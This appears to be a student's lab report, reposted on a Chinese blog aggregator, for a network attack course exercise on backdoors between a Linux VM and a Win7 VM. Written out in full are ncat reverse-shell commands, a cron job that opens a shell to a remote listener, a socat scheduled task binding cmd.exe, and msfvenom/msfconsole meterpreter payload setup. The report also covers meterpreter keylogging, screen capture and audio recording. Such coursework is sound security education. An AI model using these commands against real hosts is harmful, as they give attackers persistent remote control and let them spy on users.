zoukankan      html  css  js  c++  java
  • 20165218 《网络对抗技术》Exp2 后门原理与实践

    Exp2 后门原理与实践

    准备工作

    1. 查看Linux和Win的IP地址,ping通
    • Linux地址
      Win7地址

    • ping

    2.下载ncat并装载到win7主机
    3.下载socat并装载到win7主机

    使用netcat获取主机操作Shell,cron启动

    Linux获得win7 Shell

    • linux作为攻击方,win7作为靶机
    • linux打开8125端口,开始监听
    nc -l -p 8125
    
    • win7反弹链接Linux
    ncat.exe -e cmd.exe 192.168.72.130 8125     //-e filename:连接后执行该文件
    
    • linux下看到win7的命令提示

    Win7获得Linux Shell

    • win7作为攻击方,Linux作为靶机
    • win7使用ncat,监听端口5218
    ncat.exe -l -p 5218  //-l:设置监听模式,-p:端口
    

    • Linux反弹连接win7
    ncat 192.168.72.116 5218 -e /bin/sh
    
    • win7下获得一个linux shell,可运行任何指令

    Cron启动

    什么是crontab

    cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

    简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:

    crontab指令基本格式 : 
    
    *  *  *  *  *  command 
    
    分 时 日 月 周 命令 
    
    第1列表示分钟1~59 每分钟用*或者 */1表示 
    
    第2列表示小时1~23(0表示0点) 
    
    第3列表示日期1~31 
    
    第4列表示月份1~12 
    
    第5列标识号星期0~6(0表示星期天) 
    
    第6列要运行的命令 
    
    
    实验步骤
    • win7下打开监听,监听端口5218
    ncat.exe -l -p 5218
    
    • linux下
    crontab -e     // crontab指令增加一条定时任务,"-e"表示编辑
    no crontab for root - using an empty one
    
    Select an editor.  To change later, run 'select-editor'.
      1. /usr/bin/vim.gtk
      2. /bin/nano        <---- easiest
      3. /usr/bin/vim.basic
      4. /usr/bin/mcedit
      5. /usr/bin/vim.tiny
    
    Choose 1-5 [2]: 3 //选择编辑器3
    

    • (根据前文crontab格式)修改最后一行指令
    55 * * * * nc 192.168.72.116 5218 -e/bin/sh
    //当时是51分,设置为55分便于观察结果
    

    • 静静等待~
    • win7下获得Linux shell

    使用socat获取主机操作Shell, 任务计划启动

    socat是什么

    socat的介绍与使用

    实验步骤

    • win7下打开计算机管理->任务计划程序->创建任务

    • 输入任务名,新建触发器,这里第一次做的时候我没有设置触发器,所以任务不启动

    • 新建操作,在“程序或脚本”内添加拷贝好的socat.exe路径,在添加参数一栏写入

    tcp-listen:5218 exec:cmd.exe,pty,stderr
    //监听5218端口
    //把cmd.exe绑定到端口5218
    

    • linux下,输入
    socat - tcp:192.168.72.116:5218 //这个命令等同于nc 192.168.72.116 5218
    
    • 到了设置好的触发时间后,即可获得win7的cmd

    并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。


    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    什么是meterpreter

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。

    实验步骤

    • Linux下,生成后门程序
    msfvenom  -p windows/meterpreter/reverse_tcp LHOST192.168.72.130 LPORT=5218 -f exe > bd5218.exe
    //控制端ip
    

    • 利用ncat传输文件到系统
    /*win7*/
    ncat.exe -l 5218 > bd5218.exe
    /*linux*/
    nc 192.168.72.116 5218 < bd5218.exe
    

    传输成功

    • msfconsole linux下进入msf控制台(据说每次进入图案都不一眼,我这是什么?小幽灵吗!)

    /*开启监听模块,设置payload*/
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_tcp
    
    /*设置反弹回连的ip和端口*/
    set LHOST 192.168.72.130
    set LPORT 5218
    
    /*执行监听*/
    exploit 
    

    • win7下运行后门程序,
    bd5218.exe
    

    可以看到linux已经获得了win7的shell


    使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 通过help命令可以查看meterpreter能够实现的功能,有好多!

    • 尝试截屏

    • 击键记录,这里我是没有在任何文件内输入直接瞎敲的,居然也记录下来了,真的可怕∑(っ°Д°;)っ

    • 音频录制,-d设置时间

    提权

    • 开始不太懂,去百度了一下“提权”是什么(其实看完了还是有点懵):

    提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

    • 看了这些好像明白了

    就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。


    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    从网上下载一些来源不可靠的文件,或者点进去一个挂马网站?

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    开机自启动,或者伪装成一个正常的程序,用户就中招了

    (3)Meterpreter有哪些给你映像深刻的功能?
    • uictl指令还挺令我印象深刻的,如果自己的电脑出了这种问题应该会慌得不行吧
    /*开启或禁止键盘/鼠标*/
    uictl [enable/disable] [keyboard/mouse/all]  
    
    uictl disable keyboard  //Σσ(・Д・;)键盘不能用了!
    uictl disable mouse //了∑(っ°Д°;)っ鼠标也不能用!
    uictl enable all //赶紧打开打开……
    

    • 还有这个
    Stdapi: Audio Output Commands
    =============================
    
        Command       Description
        -------       -----------
        play          play an audio file on target system, nothing written on disk
    

    感觉好像有点好玩,但还没做出来,虽然显示了“正在播放”,但是win7上没声音,哭辽

    (4)如何发现自己有系统有没有被安装后门?

    感觉杀毒软件还是蛮可靠的,然后就平常不要去不正规的网站乱下东西就行

    放到自己主机上立刻给我查出来了


    实验总结与体会

    感觉这次实验做起来还是蛮有趣的,但同时也让我意识到了系统安全的重要性,meterpreter功能这么强大,不也意味着自己的电脑一旦被植入了后门,后果的严重性吗?完全就是待宰的羔羊了,人家想干嘛干嘛,想看什么看什么,没有丝毫隐私可言了


    问题与解决

    • Question1
      • 开始使用ipconfig查询win7的地址是,显示是10.1.1.116,无法与Linux主机ping通

      • 将Win7的ip地址修改到与Linux同一网段即可

  • 相关阅读:
    网易官方」极客战记(codecombat)攻略-沙漠-跟上时间-keeping-time
    jenkins 通过使用crumbissuer停止job
    获取crumbIssuer
    解决docker容器vim高度宽度显示不正常
    嵌入skype标签
    pip --user参数
    python requests模块和 urllib.request模块
    python字符识别
    bs4解析xml文件,制作xml文件
    jenkins api
  • 原文地址:https://www.cnblogs.com/zicerain/p/10580769.html
Copyright © 2011-2022 走看看